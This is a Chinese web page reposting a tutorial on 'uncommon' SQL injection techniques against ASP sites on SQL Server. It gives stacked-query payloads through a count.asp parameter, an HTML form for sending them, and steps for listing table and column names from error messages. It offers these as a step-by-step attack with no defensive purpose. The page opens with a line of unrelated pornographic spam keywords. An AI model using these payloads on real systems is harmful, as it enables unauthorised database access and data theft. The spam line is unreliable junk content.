五月综合激情婷婷六月,日韩欧美国产一区不卡,他扒开我内裤强吻我下面视频 ,无套内射无矿码免费看黄,天天躁,日日躁,狠狠躁

新聞動(dòng)態(tài)

SQL腳本注入的不常見(jiàn)方法總結(jié)

發(fā)布日期:2021-12-18 08:35 | 文章來(lái)源:源碼之家
大家在是否碰到過(guò)這樣的站點(diǎn):
全站文章系統(tǒng)采用FSO靜態(tài)生成的HTML文件來(lái)顯示。這樣做的好處一來(lái)可以減輕服務(wù)器負(fù)擔(dān),提高訪問(wèn)速度。二來(lái)也阻止了SQL注入式的攻擊。。
我來(lái)說(shuō)說(shuō)他們的文章系統(tǒng)原理:全部文章均在數(shù)據(jù)庫(kù)存有一個(gè)副本。另處根據(jù)模板生成一個(gè)HTML頁(yè)面。
攻擊方法:
查看源文件/看里面是否有通過(guò)JS來(lái)調(diào)用的頁(yè)面。
如調(diào)用<script language="javascript" src="count.asp?id=1552"></script>來(lái)更新文章的瀏覽次數(shù)。
我們就可以這樣來(lái)試一下可否注入:
http://服務(wù)器域名/count.asp?id=1552’
看一下是否出錯(cuò)。如出錯(cuò)說(shuō)明有注入漏洞。然后正常攻擊。
在本機(jī)建立一下post.htm的文件和log.txt的文本文件(用來(lái)記錄用,這是一個(gè)好習(xí)慣)
post.htm內(nèi)容:主要是方便輸入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
對(duì)于SQLSERVER的服務(wù)器可以這樣判斷:在1552后加一分號(hào),如正常有可能是SQLSERVER
對(duì)于這類(lèi)數(shù)據(jù)庫(kù)可以先建一個(gè)表id=1552;create table aaa(aaa char(20));--
然后插入一條記錄:id=1552;insert into aaa values(’test’);--
再之后枚舉出他的數(shù)據(jù)表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
這是將第一個(gè)表名更新到aaa的字段處。
id=1552 and exists(select * from aaa where aaa>5)就會(huì)報(bào)錯(cuò),多數(shù)情況會(huì)將表名直接讀出:看:
Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 ’80040e07’
將 varchar 值 ’vote’ 轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。
/search.asp,行21
其中vote就是表名:
也可以先猜出一個(gè)表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個(gè)表的一條記錄中去。通過(guò)網(wǎng)頁(yè)顯示。
讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(lái)(在條件后加上 and name<>’剛才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個(gè)表,^^^^^^一個(gè)個(gè)的讀出,直到?jīng)]有為止。
讀字段是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
……類(lèi)推

版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開(kāi)通

自選配置、實(shí)時(shí)開(kāi)通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專(zhuān)屬顧問(wèn)服務(wù)

1對(duì)1客戶咨詢顧問(wèn)

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部